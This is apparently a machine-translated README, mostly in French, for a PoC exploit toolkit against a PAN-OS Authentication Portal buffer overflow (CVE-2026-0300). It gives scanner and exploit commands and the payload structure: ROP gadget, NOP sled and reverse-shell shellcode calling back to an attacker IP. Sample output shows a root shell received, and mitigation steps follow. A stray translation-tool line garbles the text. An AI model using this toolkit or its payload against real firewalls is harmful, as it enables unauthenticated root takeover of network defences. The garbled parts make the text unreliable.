Détails de la vulnérabilité

Description

Une vulnérabilité de débordement de tampon dans le service User-ID Authentication Portal du logiciel PAN-OS permet à un attaquant non authentifié d'exécuter du code arbitraire avec les privilèges root sur le pare-feu en envoyant des paquets spécialement conçus. Le service HTTP du portail captif utilise des tampons de pile de taille fixe pour analyser les en-têtes HTTP, qui peuvent être débordés par des valeurs d'en-tête surdimensionnées (Cookie, User-Agent, URI ou corps de requête POST).

Configuration requise pour l'exposition

Les deux conditions doivent être réunies pour qu'une cible soit vulnérable :

1. Portail d'authentification User-ID activé — Device > User Identification > Authentication Portal Settings > Enable Authentication Portal
2. Profil de gestion d'interface avec pages de réponse — attaché à une interface L3 dans une zone où le trafic non fiable/internet peut entrer

Référence de l'avis

• Avis officiel : https://security.paloaltonetworks.com/CVE-2026-0300
• Recommandations de bonnes pratiques : https://knowledgebase.paloaltonetworks.com/KCSArticleDetail?id=kA14u000000CqbiCAC

Versions concernées

Non concernés : Prisma Access, Cloud NGFW, appliances Panorama.

Diagrammes d'architecture

Architecture système```

┌─────────────────────────────────────────────────────────────────────┐ │ CVE-2026-0300 Exploit Toolkit │ ├─────────────────────────────────────────────────────────────────────┤ │ │ │ ┌────────────┐ ┌─────────────────┐ ┌────────────────────┐ │ │ │ scan.py │────▶│ HTTP Fingerprint│ │ payload_gen.py │ │ │ │ Scanner │ │ + Version Check │ │ │ │ │ └────────────┘ └─────────────────┘ │ ┌──────────────┐ │ │ │ │ │ │ Version │ │ │ │ │ Reports: │ │ Offsets │ │ │ │ │ • Portal detected? │ │ (10.2/11.1/ │ │ │ │ │ • PAN-OS version │ │ 11.2/12.1) │ │ │ │ │ • Vulnerable? │ └──────────────┘ │ │ │ ▼ │ ┌──────────────┐ │ │ │ ┌────────────┐ ┌─────────────────┐ │ │ Shellcode │ │ │ │ │ exploit.py │────▶│ Raw Socket │ │ │ Generator │ │ │ │ │ Exploit │ │ HTTP Delivery │ │ │ (x86_64 rev │ │ │ │ └────────────┘ └─────────────────┘ │ │ shell) │ │ │ │ │ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: detect │ │ │ ROP Chain │ │ │ │ │ │ Safe, non-intrusive │ │ │ (jmp rsp) │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ │ ┌──────────────┐ │ │ │ ├─▶│ MODE: crash │ │ │ HTTP Request │ │ │ │ │ │ DoS validation │ │ │ Builder │ │ │ │ │ └──────────────────────┘ │ └──────────────┘ │ │ │ │ ┌──────────────────────┐ └────────────────────┘ │ │ └─▶│ MODE: rce │ │ │ │ Reverse shell │ ┌──────────────────────┐ │ │ └──────────────────────┘ │ ReverseShellListener │ │ │ │ │ (callback receiver) │ │ │ ▼ └──────────────────────┘ │ │ ┌──────────────────┐ │ │ │ Target Firewall │ │ │ │ PAN-OS Captive │ │ │ │ Portal Service │ │ │ └──────────────────┘ │ └─────────────────────────────────────────────────────────────────────┘

Flux d'exploitation (Mode RCE)```

┌──────────────────────────────────────────────────────────────────┐ │ EXPLOIT EXECUTION FLOW │ │ │ │ 1. Generate Payload │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ [Padding to offset] [Saved FP] [ROP: jmp rsp] │ │ │ │ [NOP sled (128B)] [Shellcode (184B rev shell)] │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 2. Embed in HTTP Header ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ GET / HTTP/1.1 │ │ │ │ Host: target:443 │ │ │ │ Cookie: │ │ │ │ Connection: close │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 3. Start Listener ▼ │ │ ┌──────────────────┐ │ │ │ Listener binds │ ← Must start BEFORE sending payload │ │ │ on callback │ │ │ │ IP:port │ │ │ └──────────────────┘ │ │ │ │ │ 4. Send via SSL/TLS ▼ │ │ ┌──────────────────┐ │ │ │ Raw socket │ → Target Captive Portal service │ │ │ sends request │ │ │ └──────────────────┘ │ │ │ │ │ 5. Buffer Overflow ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ Portal parses Cookie header into fixed-size stack buffer│ │ │ │ Buffer overflows → overwrites saved FP + return address │ │ │ │ Return address → ROP gadget (jmp rsp) │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 6. Code Execution ▼ │ │ ┌──────────────────────────────────────────────────────────┐ │ │ │ jmp rsp → NOP sled → shellcode executes │ │ │ │ socket() → connect(attacker_ip, port) → dup2() → │ │ │ │ execve("/bin/sh") │ │ │ └──────────────────────────────────────────────────────────┘ │ │ │ │ │ 7. Reverse Shell ▼ │ │ ┌──────────────────┐ │ │ │ Listener accepts│ → Attacker has root shell on firewall │ │ │ callback │ │ │ └──────────────────┘ │ └──────────────────────────────────────────────────────────────────┘

Installation```bash

Clone the repository

git clone [email protected]:sam00/POC-CVE-2026-0300-exploit.git cd POC-CVE-2026-0300-exploit

Install dependencies (requests is optional — raw sockets are used by default)

pip3 install -r requirements.txt

Le scanner va :

• Sonder les ports courants (443, 80, 8080, 8443, 8843)
• Envoyer des requêtes HTTP et vérifier les empreintes de portail captif
• Extraire la version PAN-OS des en-têtes Server et du corps de la réponse
• Vérifier si la version se situe dans les plages vulnérables
• Afficher un rapport avec code couleur

Étape 2 : Scanner avec un port spécifique```bash

python3 scan.py --target 192.168.1.1 --port 443

The input chunk is empty — no content was provided to translate.```bash python3 scan.py --targets targets.txt

Exemple de sortie du scanner```

==================================================================== CVE-2026-0300 VULNERABILITY SCANNER PAN-OS User-ID Authentication Portal Buffer Overflow

Target: 192.168.1.1 Ports: 443, 80, 8080, 8443, 8843 Time: 2026-08-06T12:00:00+00:00 Portal: DETECTED Status: VULNERABLE

─ Port 443 ─ HTTP Status: 200 PAN-OS Version: 11.2.7 Vulnerable: True Fingerprints: login.esp, userId, Authentication Portal, PAN-OS SSL Subject: {'commonName': 'firewall.example.com'}

Ce qu'il fait:

• Envoie un en-tête Cookie de 4KB (surdimensionné mais non armé)
• Envoie une requête normale pour comparaison de référence
• Signale si la cible répond différemment à une entrée surdimensionnée
• Indique une vulnérabilité probable si les réponses diffèrent

Mode 2: Crash (Validation DoS)

Envoie un payload de débordement de tampon avec une adresse de retour invalide (0x41414141) pour faire planter le service du portail captif.```bash python3 exploit.py --target 192.168.1.1 --mode crash --version 11.2.7

Ce qu'il fait :

• Génère le payload : padding + ROP gadget (jmp rsp) + NOP sled + shellcode de reverse shell
• Démarre un écouteur TCP sur l'IP:port de rappel
• Envoie la requête HTTP armée à la cible
• Attend le callback du reverse shell
• Signale le succès si une connexion est reçue

Arguments requis :

• --version — Version de PAN-OS ciblée (détermine l'offset du buffer et le gadget ROP)
• --callback-ip — Votre adresse IP (doit être accessible depuis la cible)
• --callback-port — Port pour le callback du reverse shell (défaut : 4444)

Arguments optionnels :

• --vector cookie|ua|uri|post — Vecteur de débordement (défaut : cookie)
• --nop-sled 128 — Taille du NOP sled en octets (défaut : 128)
• --timeout 30 — Délai d'expiration de la connexion et de l'écouteur en secondes
• --http — Utiliser HTTP au lieu de HTTPS
• --json report.json — Enregistrer le rapport d'exploit au format JSON

Exemple de sortie d'exploit (RCE)```

[] RCE mode — targeting 192.168.1.1:443 (PAN-OS 11.2.7, vector: cookie) [] Callback: 10.0.0.1:4444 [] Payload generated: Vector: cookie Offset: 3072 bytes to RIP Padding: 3072 bytes ROP chain: 8 bytes NOP sled: 128 bytes Shellcode: 184 bytes Total: 3392 bytes SHA256: a1b2c3d4... [] HTTP request built: 3475 bytes [] Starting listener on 10.0.0.1:4444... [] Sending exploit payload... [*] Payload sent. Waiting for callback (timeout: 30s)... [+] REVERSE SHELL RECEIVED from 192.168.1.1!

==================================================================== CVE-2026-0300 EXPLOIT REPORT PAN-OS User-ID Authentication Portal Buffer Overflow

Mode: RCE Target: 192.168.1.1:443 Version: 11.2.7 Vector: cookie Callback: 10.0.0.1:4444 Shell: RECEIVED From: 192.168.1.1:54321

Shellcode

L'exploit utilise un shellcode Linux x86_64 indépendant de la position qui :

1. Crée une socket TCP (socket(AF_INET, SOCK_STREAM, 0))
2. Se connecte en retour à l'IP:port de l'attaquant (connect())
3. Redirige stdin/stdout/stderr vers la socket (dup2())
4. Lance un shell (execve("/bin/sh", NULL, NULL))

Taille totale du shellcode : ~184 octets, contient des instructions syscall (\x0f\x05).

Atténuation

Actions immédiates

1. Restreindre l'accès au portail d'authentification User-ID — le limiter aux seules adresses IP internes de confiance
2. Désactiver les pages de réponse sur les interfaces non fiables (Network > Interface > Advanced > Management Interface Profile)
3. Désactiver le portail d'authentification s'il n'est pas nécessaire (Device > User Identification > Authentication Portal Settings)
4. Mettre à niveau PAN-OS vers une version corrigée

Versions corrigées

• PAN-OS 10.2 : 10.2.7-h34 et versions ultérieures
• PAN-OS 11.1 : 11.1.15 et versions ultérieures
• PAN-OS 11.2 : 11.2.12 et versions ultérieures
• PAN-OS 12.1 : 12.1.7 et versions ultérieures

Avertissement

Cet outil est fourni uniquement pour des tests de sécurité autorisés et à des fins pédagogiques. Utilisez-le uniquement contre des systèmes que vous possédez ou pour lesquels vous disposez d'une autorisation écrite explicite de test. Toute utilisation non autorisée contre des systèmes de production est illégale et peut enfreindre les lois relatives à la fraude informatique et aux abus.

Les auteurs déclinent toute responsabilité en cas d'utilisation abusive de cet outil. Suivez toujours les pratiques de divulgation responsable et conformez-vous aux lois et réglementations applicables.